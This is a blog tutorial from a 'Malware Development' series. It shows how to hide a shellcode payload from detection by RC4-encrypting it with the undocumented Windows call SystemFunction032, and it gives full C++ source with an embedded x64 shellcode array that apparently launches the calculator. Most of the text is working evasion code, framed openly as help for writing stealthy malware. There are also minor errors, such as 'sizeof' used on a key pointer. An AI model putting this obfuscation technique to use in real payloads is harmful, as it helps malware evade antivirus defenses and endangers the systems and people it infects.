Malware Development: Crafting Digital Chaos 0x6: Undocumented structures

5 minute read

Encryption and obfuscation

A very important part of each Malware Development process is the encryption and obfuscation, The more you have a stealthy encryption the more you aren’t likely to be detected, So learning encryption techniques is a very important part of learning Malware Development.

Today we are going to combine encryption and obfuscation together, combining RC4 encryption technique and using Microsoft’s undocumented structures to achieve this encryption.

Let’s first talk a bit about Microsoft’s undocumented structures.

Undocumented structures

Microsoft’s undocumented structures refer to data structures, functions, or behaviors within Windows operating systems that are not officially undocumented or supported by Microsoft. These undocumented features are not intended for public use and are typically not disclosed in official documentation or APIs. However, they may be discovered by reverse engineers or through experimentation.

Malware authors often use undocumented structures in Windows to hide their malicious activities and evade detection.

For example, the TDL (TDL-4 or Alureon) rootkit, which emerged around 2008, used various techniques to hide its presence on infected systems. It employed undocumented structures within the Windows kernel to intercept and modify system calls related to file I/O, process management, and network communications. By doing so, TDL was able to conceal its files and processes from both users and security software, making it extremely difficult to detect and remove.

Another example is the Stuxnet worm, which was discovered in 2010 and targeted industrial control systems, particularly those used in nuclear facilities. Stuxnet utilized multiple zero-day vulnerabilities and sophisticated techniques, including the exploitation of undocumented Windows structures, to infect systems and manipulate programmable logic controllers (PLCs) without detection. It employed rootkit-like functionality to hide its presence and evade detection by antivirus software.

RC4 Encryption

There is an undocumented WINAPI call SystemFunction032that actually is an implementation of RC4, we are going to use that call to encrypt (or decrypt) a payload that we designed.

The parameters of this function are from type USTRING , So before everything let’s define our structure that we are going o inherit from:

typedef struct USTRING{
  DWORD Length;
  DWORD MaxLength;
  PVOID pBuffer;
}

Next we are going to write the function prototype:

typedef NTSTATUS(WINAPI* fnSystemFunction032)(

  struct USTRING* Data,
  struct USTRING* Key

  ); 
  • typedef: This keyword is used to define a new type alias. In this case, it’s being used to create a new type alias for a function pointer.
  • NTSTATUS: This is a Windows-specific data type representing a status code, typically used to indicate the success or failure of a function call.
  • WINAPI: This is a macro defined in Windows headers, typically used to specify the calling convention for functions. It ensures that functions are appropriately called based on the platform’s calling conventions (e.g., stdcall).

Again, all the information about this function and its parameters, return value and so on, are obtained through REVERSE ENGINEERING, and Microsoft hasn’t until now a clear documentation about it.

  NTSTATUS STATUS = NULL;
  // Data and Key
  USTRING Data;
  USTRING Key;

  // setting the values

  Data.Length = DataSize;
  Data.MaxLength = DataSize;
  Data.pBuffer = pData;

  Key.Length = Rc4KeySize,
  Key.MaxLength = Rc4KeySize;
  Key.pBuffer = pRc4Key;

Now we are defining and setting the initial values of the two structures (Data and Key), (pData, pRc4Key, DataSize, Rc4KeySize) are passed as parameters to the wrapper function.

Then after we have prepared the parameters that’ll be passed to Systemfunction032 we now need to call it to encrypt the Data variable with the Key value.

fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)(GetProcAddress(LoadLibraryA("Advapi32.dll"), "SystemFunction032"));

As the function is defined inside Advapi32.dll we have used GetProcAddress() and LoadLibraryA() to resolve it.

Then last thing is to initiate the encryption:

if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
    
    printf("SystemFunction032 failed with error 0x%0.8x", GetLastError());

    return FALSE;

  }

Execution

Before we execute let’s use Cyberchef and encrypt the payload with the same key we will be using in our code, So we can later compare it:

P1

Then we break after the call and observe the shellcode address and compare the bytes we got: P2

The full code:

#include <iostream>
#include <windows.h>

typedef NTSTATUS(WINAPI* fnSystemFunction032)(

  struct USTRING* Data,
  struct USTRING* Key

  );

typedef struct USTRING{
  DWORD Length;
  DWORD MaxLength;
  PVOID pBuffer;
};


BOOL Rc4Enc(IN PBYTE pRc4Key, IN PBYTE pData, IN DWORD Rc4KeySize, IN DWORD DataSize) {


  NTSTATUS STATUS = NULL;
  // Data and Key
  USTRING Data;
  USTRING Key;

  // setting the values

  Data.Length = DataSize;
  Data.MaxLength = DataSize;
  Data.pBuffer = pData;

  Key.Length = Rc4KeySize,
  Key.MaxLength = Rc4KeySize;
  Key.pBuffer = pRc4Key;

  fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)(GetProcAddress(LoadLibraryA("Advapi32.dll"), "SystemFunction032"));

  if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
    
    printf("SystemFunction032 failed with error 0x%0.8x", GetLastError());

    return FALSE;

  }
  printf("EncryptionDone\n");
  return TRUE;
}

int main()
{

  unsigned char shellcode[] = {
  0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
  0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
  0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
  0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
  0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
  0x01, 0xF7, 0x99, 0xFF, 0xD7 };

  
  BYTE byteArray[] = { 0x62, 0x61, 0x64, 0x72, 0x37, 0x6c, 0x61, 0x33 };
  PBYTE key = byteArray;
  

  if(Rc4Enc(key, shellcode, sizeof key, sizeof shellcode) ==  TRUE){
    
    printf("Encrypted successfully and here is the address to check: %p",&shellcode);
    getchar();

  }
  return 1;
}
  • Note: SystemFunction033 does the same RC4 encryption, I highly encourage you to explore it!.

Thanks for reading.